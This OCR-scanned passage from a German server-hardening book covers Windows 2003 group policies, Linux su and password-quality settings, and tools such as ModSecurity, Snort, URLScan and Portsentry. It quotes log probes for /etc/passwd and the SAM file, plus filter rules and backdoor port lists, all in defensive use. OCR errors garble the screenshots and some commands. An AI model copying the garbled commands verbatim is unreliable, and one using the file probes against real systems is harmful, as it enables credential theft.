dows 2003-Servers geargert? Wenn Sie auf einem Testgerdat Windows 2003 instal-
liert haben und diese Abfrage nicht unbedingt bendtigen, schalten Sie diese Anzei-
ge ab, indem Sie die Datei , gpedit.msc” 6ffnen. Offnen Sie nun die ,,Computerkon-
figuration” und erweitern Sie die , Administrativen Vorlagen”. Dann bitte auf
»System” klicken und die , Ereignisprotokollierung fiir Herunterfahren anzeigen"
offnen. Dort setzen Sie den Wert auf , Deaktiviert” (siehe Abbildung 18).

Sperren Sie Remote-Zugriffe auf ausfiihrbare Dateien, wie z.B. die , cmd.exe, ftp.exe,
tftp.exe, regedit.exe” etc.
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Figenschaften von Befehlszeilenauffarde eakkivies Jied e |

Richtirie | ikizmng ]|

ﬂ B efehlzzetlenavifordening deak ineren

£ Hicar kardiguris

ikt

T Dsaktiviatt
Sal die Skriptweraibetung der Einpabeaufford=nng auch deaklivierl wend
s x|

FET ]

Vorerios Richtirie | Machats Richine |

(1] I Abb'm:"ucnl Ugcr'ucl'mu:nl

Abbildung 19: Andern der Zugriffe auf ausfithrbare Dateien (hier die cmd.exe)

Auch diese Einstellungen konnen Sie hier vornehmen. Erstellen Sie Gruppenricht-
linien. Unter der ,Benutzerkonfiguration” klicken Sie auf die ,administrativen Vorla-
gen” und erweitern ,, System”. Dort finden Sie die jeweiligen Punkte:

e Befehlszeilenaufforderung deaktivieren
e Registrierungseditoren deaktivieren

¢ Angegebene Windowsanwendungen nicht ausfiihren.

Administratorzugriffe und den Gastaccount beschrénken

Um die Sicherheit auf Ihrem System zu erhohen, deaktivieren Sie den Gastaccount,
wenn dieser nicht schon bei der Installation deaktiviert wurde.

Zudem konnen Sie den Administrator umbenennen, so dass ein Angreifer nur er-
schwert auf einen solchen Account zugreifen kann.

Dazu wahlen Sie die lokalen Policyeinstellungen iiber ,Start = Ausfiihren 2 mmc
eingeben und Enter driicken”.
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Die Microsoft Management-Konsole wird geoffnet. Fiigen Sie, falls noch nicht vor-
handen, den Snap-Shot ,Richtlinien fiir Lokaler Computer, hinzu und wechseln Sie
dann in den Punkt , Computerkonfiguration = Windows-Einstellungen = Sicherheits-
einstellungen = Sicherheitsoptionen”. Dort finden Sie die Richtlinie ,Konten: Admi-
nistrator umbenennen” (siehe Abbildung 20).

onsolel - [Konsolenstammn jen fiir Lokaler ComputerComputerkonfiguratio i (=] 5]
Datei  Aktion  #@nsicht  Favoriten  Fenster 7 | — =] =]
= | | > L
Konsolanstamm Fiichtlinie [ Sicherheitseinstellung [ =]
Richtlinien fr Lokaler Computer | [2%] Gerater Entfernen ohne vorherige Anmeldung erlauben Alkdiviert
Computerkanfigurstion [&%¥]Gerate: Formatieren und Auswerfen von Wechselmedien zulassen Administratoren
) erdte: Werhalken bei der Installation won nichtsignierten Treibern ne Warnung akz. ..
B8 % ﬁfra’eiﬁ'sf“l“mgen [#%]Gerate: verhalten bei der Installat ht ten Treib Ohne W, ez
g m;:‘st_ '(n;t e t‘j:'gen 5 [5%] Gerate: Zugriff auf CO-ROM-Laufwerke auf lokal angemeldete Benutzer ... Deakfiviert
EI Sic;parir-\eit:;inst:;rr'n 9 (2] Gerate: ZUgriFF auf Diskettenlaufmerks aUF lokal angemeldete Berutzer b, Deskriviert
erunterfahren: Auslagerungsdatei des virtuellen Arbeitspeichers léschen e akkivier
@Knnmmhu.n.ang [B¥]Herunterfahren: Ausl datei des virtuellen Arbeitspeichers lasch Deakkiviert
508 Lokele Richtinien [&¥]Herunterfahren: Herunterfahren des Systems ohne Anmeldung zulassen  Akdiviert
T Ubervachung Edinteraktive snmeldung: Anwender vor Ablauf des Kenrworts zum Ander... 14 Tage
@ zumeisen von | B8linterakbive anmeldung: Anzahl zwischenzuspeichernder vorheriger Anme... 10 Anmeldungen
icherheitsopt Interaktlve anmeldung: Domanencentrollerauthentifizierung zum Aufheb ... Deakbiviert
JZ2 RichHirisn &FFentl Interaktive anmeldung: Kein STRG+ALT+EMTF erforderlich richt definiert
|21 Richtlinien Fir Sofl Intar’aktlve Anrmeldung: Letzten Benukzernaren nicht anzeigen Deaktiviert
8, P-Sicherheitsricht |[BE]tnteraktive Anmeldung: Machricht Fir Berutaer, die sich armelden wollen
(-3 Administrative vorlagen | |BE]tnteraktive Anmeldung: Machrichtertitel fir Bsnutzer, die sich anmeiden ...  Nicht definisrt
-7 Benutzerkonfiguration (B 1rtsraktive anmeldung: Smartcard srforderlich MichE definiert
Inkerakkive Anmeldung: Verhslten beim Entfernen von Smartcards Keine Aktion
Konten: Administratorkontoskatus akkiviert
Konten: Casktontenstatus Deaktiviert
[E¥]konken: Gastkonto umbenennen Gast
[#¥]konten: Lokale konterverwendung von leeren Kennwértern auf konsole...  akkiviert
(&%) Microsoft-Metzwerk {Clienth: Kommunikation digital sigrieren (mmer) Dieakkiviert
(%] Microsoft-Metzwerk {Clients: Kommunikation digital sigricren (wenn Serve...  Akbiviert
LI Mlcmsufthetzwerk(Chent): Unverschliisseltes Kennwork an SMB-Server .. Deakbiviert LI
1 Tom. - P - s e - S 5

Abbildung 20: Administratoreinstellungen bearbeiten

Wenn Sie diesen Punkt mit einem Doppelklick 6ffnen, konnen Sie den Administra-
toraccount umbenennen.
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Eigenschaften yon Konten: Administrator un 2=

Lokale Sicherheitzeinztellung |

.4 FKonten: Adminiztrator umbeneninen

(]:4 I Abbrechen [&ermehmen

Abbildung 21: Administratoreinstellungen bearbeiten

Legen Sie danach einen neuen Benutzer , Administrator” an. Weisen Sie diesem Ac-
count ein sicheres Passwort, aber keinerlei Rechte zu. So kann, wenn ein Angreifer
doch einmal Zugang zu diesem System bekommen sollte, dieser Administratorac-
count nicht missbraucht werden, und der Angriff lauft erst einmal ins Leere.

[l Bitte beachten Sie!

Wenn der Server einer Doméane angehort, kann diese Einstellung durch eine
Gruppen-Policy wieder iiberschrieben werden.

Stimmen Sie solche Umstellungen in jedem Fall mit Ihren Kollegen ab und
nutzen Sie bei der Umbenennung einen Account, den Sie sich gut merken
konnen!

Harten des Apache-Servers und des Linux/Unix-Betriebssystems

Zusatzlich zu den in 10.5.1 ,Installation des Apache unter einem anderen Benut-
zer” beschriebenen Mafinahmen (Installation und Betrieb des Apache und SSH-
Zuginge) sollte einer der nichsten Schritte die Kontrolle und Uberwachung der
laufenden TCP/UDP-Verbindungen sein. Mit dem Befehl , Isof —i* oder besser ,Isof
-i-n -P | grep -i listen” konnen Sie sich alle offenen Verbindungen auflisten lassen.
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Verbindungen, wie alle R-Dienste (rsh, rlogin oder rcp) und Telnetverbindungen,
sollten unterbunden und gesperrt werden.

Verschliisseln Sie den Mailverkehr, bzw. die POP3/IMAP- und SMTP-Zugriffe auf
Ihre Server. Einer Ihrer Administratoren kdnnte sonst die Meldungen, die fiir root
bestimmt sind, per Emailclient abrufen. Bei der Anmeldung unter Nutzung von
POP3 usw. werden die Benutzerdaten im Klartext inklusive des Passworts von
root iibertragen.

Nachdem Sie bereits den SSH-Zugang fiir root unterbunden haben, schranken Sie
noch ein, wer sich nach einem Login als root anmelden darf.

Dazu fiigen Sie (,, wichtig") dem System eine neue Gruppe hinzu:
groupadd -r wichtig
usermod -G wichtig userl
usermod -G wichtig user2
chgrp wichtig /bin/su
chmod 4750 /bin/su

Nun konnen sich nur die beiden User ,userl” und , user2” als root anmelden und
alle anderen User erhalten eine Fehlermeldung.

Wichtig: Testen Sie diesen Vorgang griindlich!

Sie kénnen durch Vorgaben bei den Passwortern die Sicherheit des Systems erho-
hen.

Wenn Sie mit dem Modul , pam_passwdqgc.so” arbeiten, haben Sie die Moglichkeit,
diese Vorgaben gezielt anzugeben.

Das ,pam_passwdqc.so”3'-Modul ordnet bestimmte Klassen den genutzten Zeichen
in den Passwortern zu:

- Kleingeschriebene Buchstaben

- GrofSbuchstaben

- Zahlen

- Alle anderen Zeichen (Sonderzeichen)

Da einige Passwortgewohnheiten zu offensichtlich sind, wie z.B. das Anhédngen ei-
ner Zahl an das Ende eines Passworts (adminl), gilt die Kombination eines solchen

31 http://www.openwall.com/passwdqc/README.shtml
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Passworts nur als so genanntes einfaches Passwort. Wenn Sie also die Passworter
,admin”, ,Admin”, ,Adminl”, ,adminl” wahlen, betreffen diese alle nur eine
Klasse.

Nutzen Sie aber eine Kombination, wie ,@AdminlServer!”, sprechen Sie alle Klas-
sen an. Sie setzen Grofs- und Kleinbuchstaben ein, haben eine Zahl und Sonderzei-
chen eingebaut.

Um eine solche Funktion fiir Ihre Nutzer freizugeben, bearbeiten Sie die Datei
letc/pam.d/system-auth”, indem Sie die Zeile ,password required
/ib/security/pam_passwdqc. .so min=13,10,10,8,6” einfiigen.

Wenn jetzt ein User sein Passwort dndert, werden die gegebenen Bedingungen
uberpriift:

Die ,,13“ steht fiir die Nutzung nur einer Klasse, also z.B. nur Grofibuchstaben. Der
Nutzer muss mindestens 13 Zeichen eingeben.

Die ,10” steht fiir die Nutzung von 2 Klassen, also z.B. Grof3- und Kleinbuchsta-
ben. Der Anwender muss in unserem Beispiel mindestens ein 10 Zeichen langes
Passwort aus Grof3- und Kleinbuchstaben eingeben.

Die zweite ,, 10” steht fiir die Eingabe einer Passphrase, zum Beispiel unter PGP.

Die ,,8” steht fiir die Nutzung von 3 Klassen, also z.B. eine Mischung aus Grof3-,
Kleinbuchstaben und Zahlen. Die Lange muss aus mindestens 8 Zeichen bestehen.

Die ,6” steht fiir die Nutzung aller Klassen, also eine Kombination aus Grofs-,
Kleinbuchstaben, Zahlen und Sonderzeichen mit einer Lange von 6 Zeichen.

Uberpriifen Sie ebenfalls die unter ,/etc/xinetd.d/* angegebenen Dienste und deak-
tivieren Sie diese gegebenenfalls.

Absicherung auf Netzwerkebene

Was helfen Thnen die sichersten Web-Server, Passworter und Betriebssysteme,
wenn weitere angeschlossene Dienste in Ihrer Netzwerkumgebung leicht zu
durchdringen sind?

Sehen Sie sich immer wieder Thre gesamte Netzwerklandschaft an. Uberpriifen Sie
in diesem Zusammenhang auch in regelméifsigen Abstdnden, ob Ihr Netzwerkplan
immer noch aktuell ist. Hat sich vielleicht ein neuer Server oder Dienst eingeschli-
chen, von dem Sie nichts wussten? Testsysteme sind eine beliebte Sache in Unter-
nehmen -, Ich brauche das System, um einige Tests durchzufiihren!”.
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Nutzen von sicheren Protokollen

Nutzen Sie in Threm Netzwerk nur sichere Protokolle, das heifst, auch fiir den in-
ternen Datenaustausch oder fiir eine Remoteanbindung sollten Ihnen nur Protokol-
le mit einer Verschliisselung ins Haus kommen. Nutzen Sie SSH und SSL. Verge-
ben Sie Clientzertifikate, um nur fest definierten Rechnern einen SSH oder SSL Zu-
gang zu gewahrleisten. Nutzen Sie in diesem Zusammenhang die Moglichkeit der
,hosts.allow” und , hosts.deny“-Einstellungen unter Unix/Linux.

Absichern von Diensten — FTP, DNS

Wenn Sie einen FTP-Server betreiben miissen, verwenden Sie Secure-FTP. Alle
gingigen FTP-Programme bieten heute die Moglichkeit der verschliisselten Uber-
tragung. Ist das nicht der Fall, geben Sie Ihren Kunden Programme dieser Art vor.

Wenn Sie FTP nicht iiber eine gesicherte Anbindung anbieten konnen, da der
Aufwand zu grofs ware und Sie nicht genau wissen, wer Ihre Kunden sind, da es
sich um einen o6ffentlichen Downloadbereich handelt, sollten Sie die Rechte dieser
FTP-Verbindung auf das Wesentliche reduzieren. Sperren Sie andere Anwender
auf dem System mit dem FTP-Zugang.

Kontrollieren Sie, welche Rechte Default-User wie z.B. ,Anonymous” auf Ihrem
System haben. Entziehen Sie mogliche Schreibrechte.

Vergeben Sie Freigaben nie mit Schreibrechten, es sei denn, Sie miissen es zulassen.
Legen Sie in einem solchen Fall einen Anwender an, der ansonsten keine weiteren
Rechte aufserhalb dieser Freigabe hat.

Uberlegen Sie sich eine iibersichtliche Namensstruktur fiir Thre Systeme. Nur so
behalten Sie den Uberblick in IThrem Netzwerk, erkennen fremde Rechner und ver-
einfachen Ihre DNS-Eintrage.

Kontrollieren Sie ihre DNS Server. Wenn Sie mit DHCP arbeiten, vergeben Sie eine
feste Struktur, die sich aus einer Kombination aus MAC-Adresse und Netzwerk-
port, zusammensetzt. So verhindern Sie, dass fremde Rechner sich ohne Ihr Wissen
anmelden.

Mehrstufige Netzwerkabsicherung

So simpel es klingen mag, viele Systemverantwortliche nutzen nicht die Mdoglich-
keit einer mehrstufigen Absicherung durch Firewalls. Vergeben Sie innerhalb einer
DMZ weitere Aufgaben an eine zusitzliche Firewall. Sperren Sie zwischen Syste-
men in einer DMZ Ports und Verbindungen. Reglementieren Sie den Datenverkehr
auf ein Minimum und auf das Notwendigste.
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14.1.6 Konzepte und Voriiberlegungen zur Absicherung

Konzepte und Voriiberlegungen dienen der Identifizierung eines Ist-Zustandes mit
Uberfiihrung in einen Soll-Zustand.

Bestimmen und lokalisieren Sie als Erstes Ihre Geschéftsprozesse und —ablaufe.
Ordnen Sie diesen einzelnen Prozessen und Abldufen eine Ordnungszahl zu. Iden-
tifizieren Sie fiir Ihr Unternehmen, welche Prozesse zu den geschéftskritischen ge-
horen und bei welchen Abldufen Sie Storungen unbedingt vermeiden wollen.
Wenn Sie einen Onlineshop betreiben, werden Sie Threm Web-Server mehr Auf-
merksamkeit schenken als ein Immobilienhdndler, der nur eine Firmenprasentati-
on auf seiner Homepage liegen hat.

Regelmigige Uberpriifungen der Benutzeraktivititen und Schwachstellen-Analyse
sind unumgénglich, damit unternehmensweite Sicherheitsrichtlinien oder indivi-
duelle Security-Regelungen (Policies) iiberhaupt greifen konnen.

14.1.7 Tools und Programme zur Absicherung des Apache-Servers

ModSecurity

ModSecurity ist ein Open Source Intrusion Detection und Prevention Tool. ModSe-
curity ist in der Lage, einen unerlaubten Zugriffsversuch zu erkennen und zu blo-
cken. So konnen Zugriffe auf ausfithrbare Dateien, wie z.B. ,ftp.exe” oder die
Kommandoshell , cmd.exe” erkannt und unterbunden werden.

ModSecurity lauft als ein Apache-Modul unter UNIX. Trotzdem ist ModSecurity
fiir alle Web-Server einsetzbar, wenn der Apache-Server als Reverse Proxy dient
und der gesamte Datenverkehr {iber diesen Apache-Server geleitet, gescannt und
der ,saubere” Datenstrom an den eigentlichen Web-Server (ein IIS zum Beispiel)
weitergeleitet wird.

ModSecurity ist vor allem beim Einsatz von PHP- und ASP-Webseiten wirksam.
Mittels ModSecurity kénnen Schwachstellen im Code aufgefangen werden, die
sich bei der Entwicklung von PHP und ASP-Seiten einschleichen, wie z.B. das Auf-
rufen einer Kommandoshell iiber eine PHP-Seite oder die Zugriffsverletzungen auf
den Administrationsbereich.

Diese Requests konnen schon vor dem Web-Server vom ModSecurity-Modul
gescannt, erkannt und geblockt werden.
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ModSecurity

Eingehender
Datenverkehr

Server

Erlaubter
Datenverkehr

Geblockter
Datenverkehr

Server

Abbildung 22: ,,ModSecurity” als Reverse Proxy fiir alle Web-Server??

Bei der Uberwachung und Kontrolle Threr Log-files werden Sie eventuell Eintrage
wie die folgenden entdecken:

ol A A ] Jetc/passwd”
oder den Zugriff auf die Backup-SAM-Datei auf einem Windows-System:
7Ad A Jwinnt/repair/sam.”

Diese Zugriffe zeigen den Versuch eines Aufrufs Ihrer Passwortdateien auf einem
Unixsystem (obere Zeile) und auf die SAM-Datei auf einem Windows-System.
Kontrollieren Sie in einem solchen Fall Ihre Logfiles nach weiteren Eintrdgen oder
Folgeeintragen, die auf einen moglichen Einbruch hinweisen.

Kontrollieren Sie auch Thre Passworter. Andern Sie Thre Passworter und lassen Sie
Ihr System nach weiteren Kompromittierungen hin untersuchen.

Um ein solches Ausnutzen zu vermeiden, konnen Sie diese Requests von vornher-
ein ausschliefen und unterbinden. ModSecurity kann diese Art Zugriffe mit ent-
sprechend gesetzten Filterregeln erkennen und blocken.

32 Vergleiche dazu www.modsecurity.org
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Als sehr niitzlich hat es sich erwiesen, eine URL-Struktur vorzugeben, wenn Sie
nur einen bestimmten Bereich auf Ihrem Web-Server freigeben wollen, wie z.B. ei-
nen Bereich, in dem Ihre Nutzer Dateien herunterladen diirfen. Mit der folgenden
ModSecurity-Regel wird die Anfrage an den Server nur weitergeleitet, wenn in der
URL das Verzeichnis (hier downloads/tools) definiert wird. Alle anderen Bereiche
werden gleich abgefangen und geblockt.

# Whitelist der erlaubten URL-Struktur ueber zweili Zeilen

# erste Befehlszeile: URL wird auf den Pfad festgelegt. Al-
le Pfade muessen

# /downloads/tools enthalten. downloads/tools/weiterer_pfad
geht.

# /tools alleine nicht.

# Zweite Befehlszeile enthaelt alle Zeichen, die nicht in
einer weiteren URL # vorkommen duerfen.

# z.B. /downloads/tools/.Test.

# Erlaubt ist aber downloads/tools/_Y9abcdefgh/hghgh
SecFilterSelective REQUEST URI "!/downloads/tools/+S" chain

Abbildung 23: ModSecurity-Regel fiir eine fest definierte Verzeichnisstruktur

Hier ist die Verzeichnisstruktur ,/downloads/tools/” vorgegeben. Es konnen aber
nachfolgend noch Verzeichnisse mit einer definierten Zeichenfolge angesprochen
werden, die die Zeichen ,,[.\ *&%,;]” nicht enthalten.

Google-Abfragen an den Server, wie sie in Kapitel 9.2 , Informationsbeschaffung
mittels Suchmaschinen am Beispiel Google” gezeigt werden, konnen durch Mod-
Security-Filterregeln ebenfalls unterbunden und geblockt werden. So werden
wichtige Informationen iiber den eigenen Web-Server nicht mehr durch eine einfa-
che Suchanfrage unter Google preisgegeben.

SecFilterSelective HTTP_Referer "inurl.* intitle:index.of”

Abbildung 24: Suchanfragen fiir den eigenen Web-Server sperren

Weitere Filterregeln werden hinten im Anhang angegeben.
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Snort

Die Sicherheit von Unternehmen und Service-Providern ist immer grofieren Risi-
ken ausgesetzt, da die Anzahl neuer Sicherheitsliicken und die Geschwindigkeit
und Raffinesse von Angriffen, bei denen diese Sicherheitsliicken ausgenutzt wer-
den, jedes Jahr wachst. Durch die Entwicklung neuer hybrider Angriffe, die mithil-
fe zahlreicher Vektoren in die Sicherheitsinfrastruktur eindringen, sind Unterneh-
men gezwungen, sich gegen eine standig wechselnde Bedrohung zu wehren.

Der dynamische Charakter heutiger Sicherheitsbedrohungen bedeutet, dass die
Anzahl neuer hybrider Angriffe mit beispielloser Geschwindigkeit zunimmt. Si-
cherheitsliicken im Netzwerk machen Systeme angreifbar und erhohen die Sicher-
heitsrisiken im Netzwerk.

Trotz des Einsatzes von Firewalls und anderen Sicherheitsmechanismen sind
Netzwerke weiterhin fiir raffinierte Angriffe und Zero-Day-Attacken (Angriffe auf
eine neue, bisher unbekannte Sicherheitsliicke) anféllig, da die herkdmmliche
Technologie nicht in der Lage ist, Angriffe vorbeugend zu erkennen und abzuweh-
ren.

Leider gibt es kein Einzelprodukt, das Schutz vor allen Bedrohungen bietet. Zur
Gewahrleistung umfassender Sicherheit benétigen Netzwerke ein mehrstufiges Si-
cherheitskonzept mit vorbeugender Risikoabwehr, um bekannte Angriffe sowie
Zero-Day-Attacken préazise zu erkennen und zu blockieren, bevor sie Schaden an-
richten.

Intrusion Prevention-Systeme stellen im Netzwerk eine weitere Stufe bei der Be-
kdampfung von Angriffen auf Sicherheitsliicken dar.

Snort ist ein quelloffenes Angriffserkennungssystem (engl. Intrusion Detection Sys-
tem) (Snort, 2006), das Sicherheitsereignisse in {iberwachten Netzwerken entdeckt.
Unter Verwendung von speziellen Regeln, in denen charakteristische Muster (sog.
Signaturen) von bekannten Angriffen festgehalten sind, kann Snort Attacken wie
beispielsweise Unicode-Bug in einem Computernetzwerk aufspiiren. Dazu scannt
die Software den Netzwerkverkehr und verbindet sdmtliche IP-Datenpakete
zwecks einer Analyse der gesamten Anfrage. Nachdem der Inhalt der Datenpakete
mit den Signaturen enthaltener Regeln verglichen wurde, kann Snort entscheiden,
ob die Anfrage verworfen oder an das Zielgerdt weitergeleitet werden soll. Der
Administrator hat die Mdglichkeit, neue Regeln und Signaturen fiir neu identifi-
zierte Attacken herunterzuladen und die Sammlung damit auf dem neuesten
Stand zu halten. Snort ist auch in der Lage, Anfragen von Hintertiiren wie “Back
Orifice” etc. aufzudecken.
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Interessant an Snort ist die Tatsache, dass der Scanner fiir Windows33- und Linux34-
Systeme verfiigbar ist. Snort kann auch in heterogenen Netzen eingesetzt werden
und eignet sich so ebenso fiir die Uberwachung von IIS-Servern.

Mit Snort und den darin enthaltenen Updates der Signaturen lasst sich Ihr Netz-
werk auf eine einfache Art und Weise absichern. Mit dem Tool BASE?®* kénnen Sie
dazu noch die angesammelten Daten in den Logfiles des Snort-Scanners {iberwa-
chen. BASE basiert auf dem ,, Analysis Console for Intrusion Databases (ACID)"-
Tool.

Regeln konnen bequem {iber das Tool IDS Policy Manager? eingegeben und bear-
beitet werden.

Leider gibt es den Policy-Manager im Moment nur fiir Windows-Systeme, und ei-
ne Verteilung der unter Windows erstellten Regeln scheitert an den unterschiedli-
chen Pfadangaben in den Konfigurationsdateien.

Snort ist dennoch ein machtiges Werkzeug, um Ihr Netzwerk abzusichern. Das
System steht und féllt aber, wie bei allen Dingen, mit seiner Aktualisierung. Die
Signaturen miissen in regelméafligen Abstanden erneuert werden, um auch aktuelle
Exploits zu entdecken. Die Logfiles bediirfen einer stindigen Uberwachung, um
Unregelmafligkeiten sofort aufzuspiiren. Zudem sollten Sie regelméafiig tiberprii-
fen, ob die Verteilung der Sensoren noch den Anforderungen entspricht. Binden
Sie Snort in Ihr Sicherheitskonzept mit ein. Sobald Sie ein neues System in Ihrem
Netzwerk installieren, iiberlegen Sie, ob Sie auch einen neuen Sensor fiir dieses
System integrieren miissen.

Eine sehr gute Beschreibung, Installations- und Konfigurationsanleitung finden Sie
unter /23/.

3 http://www.winsnort.com/
3 http://www.snort.org/
35 http://sourceforge.net/projects/secureideas/

36 http://www.activeworx.org/
P g
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14.1.8 Tools fiir den Internet Information Service

Microsoft URL-Scanner

Mit dem Microsoft URL-Scanner haben Sie die Moglichkeit zu entscheiden, welche
http-Anfragen der IIS-Server bearbeiten darf. Zurzeit liegt der URL-Scanner in der
Version 2.5 vor und ist fiir alle IIS-Server ab Version 4 einsetzbar.

So lassen sich Anfragen, wie die im Unicode-Format, schon vor dem IIS-Server ab-
fangen.

In der neuen Version lassen sich auch URLs, die grofser als 1024 Bytes sind, scan-
nen. In den vorigen Versionen des URL-Scanners wurden alle Zeichen nach 1024
Bytes abgeschnitten, was in der Vergangenheit zu Komplikationen fiihrte.

So konnten z.B. schadhafte Anweisungen nach den ersten 1024 Bytes versteckt
werden. Auch ist es jetzt endlich moglich, eine maximale Anzahl von Anfragen
festzulegen. So werden die meisten DoS-Angriffe bereits im Keim erstickt. Distri-
buted DoS-Angriffe werden nur schwer erkannt, da die Anfragen von unterschied-
lichen Adressen abgegeben werden. Bevor das Tool erkennt, dass eine iiberméflige
Anzahl an Anfragen vorliegt, kann der Speicher bereits {ibergelaufen sein. Mehr
Sicherheit bieten hier professionelle IDS-Systeme, wie z.B. von Computer Associa-
tes oder Checkpoint.

Der URL-Scanner filtert bzw. parst und analysiert den eingehenden http-
Datenverkehr. Jede URL wird auf folgende Dinge hin iiberpriift:

e Liegen verdachtige Zeichenketten vor, die z.B. einen Verzeichniswech-
sel bedeuten, oder unerlaubte Dateizugriffe?

e In welcher Form liegen Headerinformationen vor?
e Sind ASCII-Zeichen vorhanden (Unicode Bug)?
e Auf welche Dateierweiterung wird zugegriffen (exe, bat oder com)?

¢ Welche Art von http-Request liegt vor, und soll eine Datei geloscht
werden?

e Liegt eine URL-Codierung vor? Werden Befehle maskiert (Unicode)?

Der URL-Scanner wurde in den , Security Lockdown Wizard” ab Version 2.1 integ-
riert. Download und weitere Informationen sind unter [/24/] zu finden.
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Microsoft IIS Security Lockdown Wizard

Ein ebenso frei verfiigbares Tool zur Absicherung des IIS-Servers ist der ,IIS Secu-

rity Lockdown Wizard”, der beim ersten Start von IIS 6.0 ausgefiihrt wird.

Der , Lockdown Wizard” beinhaltet Vorlagen fiir alle vom IIS abhéngigen Dienste,
wie den Microsoft Exchange Server in den Versionen 5.5 und 2000 sowie dem

Commerce und dem BizTalk-Server.

Mit dem ,, Lockdown Wizard” haben Sie die Moglichkeit, auf einfache Art und Weise

Thre Dienste zu verwalten.

Wahlen Sie z.B. aus, welche Dienste automatisch beim Hochfahren des Servers ge-

startet werden sollen.

115 Security Lockdown Wizard Commentsy

Service startup defaults
Specify the startup ophion for each Internet zervice

=]|

Far each Internet zervice listed below, specify whether pou waould ke o autormatically
shart the zervice whan the server starts up, manually start the service, or dizable the
SErviceE

HTTF: I.-“-‘-.ut-:umati-:

=
FTF: I.-'l'-.ut-:umati-: j
SMTF: | Disabled |

MEHTF: Dizabled

< Back I et = I Cancel

Abbildung 25: Auswahl der Dienste beim Hochfahren des IIS
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Setzen Sie Dienste wie den SMTP- und NNTP-Dienst aufser Kraft (sofern sie nicht
bendtigt werden), indem Sie diese durch die Auswahl von ,Disable” beim Hoch-
fahren des IIS-Servers nicht mitstarten.

Das Lockdown-Tool installiert ebenso den Url-Scanner von Microsoft.

Der Link zum Download und weitere Informationen sind unter [/25/] zu finden.

14.1.9 Tools fiir Apache (Windows/Unix)

Wie fiir den Microsoft 1IS-Web-Server gibt es auch fiir den Apache-Server eine
Vielzahl von frei verfiigbarer Software, mit der Sie sich die tagliche Arbeit erleich-
tern konnen und gleichzeitig Ihre Serverlandschaft sicherer machen.

Viele Tools sind nicht direkt mit dem Apache verbunden und dienen der Sicher-
heit des ganzen Systems, wie z.B. die beiden Tools , Logcheck” und ,, Portsentry”.

Webalizer

Mit Webalizer haben Sie die Moglichkeit, die Log-Files des Apache-Servers, aber
auch Log-Files anderer Web-Server zu tiberwachen und nach definierten Meldun-
gen zu durchsuchen.

Dieses Tool werden viele Leser kennen. Mit einer kleinen Erweiterung, dem Weba-
lizer XTENDED von Patrick Frei [/30/], konnen sie allerdings die Auswertungen
ihrer Log-Files noch verbessern.

Viele Angreifer versuchen, auf Web-Servern ganz bestimmte Dateien oder Datei-
typen zu finden, wie z.B. MDB- oder ASP-Dateien. Wenn Sie als Administrator ein
neues Angriffsmuster oder eine neu entdeckte Schwachstelle, also ein Security Ad-
visory, auf den einschldgigen Internetseiten mitgeteilt bekommen haben, kénnen
Sie das mit einer kleinen Anpassung im Webalizer einstellen.

Wenn Sie z.B. nach Eintrdgen suchen, die auf Ihrem Server ins Leere fiithren (404
Meldungen), also Zugriffe auf Dateien feststellen mochten, die es auf Ihrem Server
nicht gibt, kompilieren sie das Tool einfach in dem Webalizer-Verzeichnis.

Kopieren und entpacken Sie die aktuelle Version des Webalizer und den Patch in
ein Verzeichnis:

# tar -xvzf webalizer-2.01-10-src.tgz
# tar -xvzf webalizer-2.01-10-RB17-patch.tar.gz

Wechseln Sie in das Verzeichnis des Webalizer:

# cd webalizer-2.01-10/
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Binden Sie den Patch ein:

# patch -Np1 -i ../webalizer-2.01-10-RB17-patch

Danach konnen Sie mit den {iblichen Befehlen

¥ ./configure

# make

# make install

die Installation des Webalizer abschlieffen und starten:
# /usr/local/bin/webalizer

Vorausgesetzt werden folgende Pakete:

e libpng

¢ libpng-devel
o god

o gd-devel

o zlib

e zlib-devel

Download unter:
Webalizer [/31/]
Patch Webalizer XTENDED [/30/]

Logcheck

, Logcheck” ist ein klassisches Tool zum Uberpriifen der Log-Files eines Betriebssys-
tems. , Logfile” ist unter der GNU General Public License erschienen.

~Logcheck” nutzt ein weiteres Tool mit dem Namen , Logtail”. Dieses kleine Tool
(logtail.c) ,,merkt sich”, an welcher Stelle der letzte Lese- und Analysevorgang
stattgefunden hat und setzt dort auch wieder auf.

~Logcheck” basiert auf “frequentcheck.sh”. Dieses Skript wird in dem Gauntlet(tm)
Firewall-Paket der Trusted Information Systems Inc. (http://www.tis.com) einge-
setzt.

~Logcheck” wird mit einer bereits definierten Menge von Keywords installiert, mit
denen die Log-Files durchsucht werden. Sie konnen diese Keywords auch ergén-
zen.
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~Logcheck” 1auft unter den folgenden Betriebssystemen:

e BSDI2.x

e Linux

e HPUX10.x
e FreeBSD 2.x
e Solaris

e 5SunOS

Download unter: [/28/].

Portsentry

Mit dem Tool ,Portsentry” bietet sich die Moglichkeit einer Uberwachung von
Ports auf einem Server. Der Datenverkehr wird gescannt und auf bekannte An-
griffsmuster hin analysiert. Darauthin kann ,Portsentry” verschiedene Aktionen
ausfiithren, wie z.B. das Sperren einer IP-Adresse vornehmen (wovon aber abzura-
ten ist), oder es sendet per Email eine Nachricht an den Administrator.

, Portsentry” ist unter einer Common Public License erschienen und durch die Fir-
ma PSIONIC entwickelt worden, die mittlerweile von CISCO gekauft wurde.

In der ,portsentry.conf” konnen Sie definieren, welche Ports iiberwacht werden
sollen:
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# Un-comment these if you are really anal:
#TCP_PORTS="1,7,9,11,15,70,79,80,109,110,111,119,138,139,14
3,512,513,514,515,540,635,1080,1524,2000,2001,4000,4001,574
2,6000,6001,6667,12345,12346,20034,27665,30303,32771,32772,
32773,32774,31337,40421,40425,49724,54320"
#UDP_PORTS="1,7,9,66,67,68,69,111,137,138,161,162,474,513,5
17,518,635,640,641,666,700,2049,31335,27444,34555,32770,327
71,32772,32773,32774,31337,54321"

#

# Use these if you just want to be aware:
TCP_PORTS="1,11,15,79,111,119,143,540,635,1080,1524,2000,57
42,6667,12345,12346,20034,27665,31337,32771,32772,32773,327
74,40421,49724,54320"
UDP_PORTS="1,7,9,69,161,162,513,635,640,641,700,37444,34555
,31335,32770,32771,32772,32773,32774,31337,54321"

#

# Use these for just bare-bones
#TCP_PORTS="1,11,15,110,111,143,540,635,1080,1524,2000,1234
5,12346,20034,32771,32772,32773,32774,49724,54320"
#UDP_PORTS="1,7,9,69,161,162,513,640,700,32770,32771,32772,
32773,32774,31337,54321"

Abbildung 26: Portsentry Konfigurationseinstellungen

Sie kénnen auch Adressen definieren, die , Portsentry” ignorieren soll. Das ist hilf-
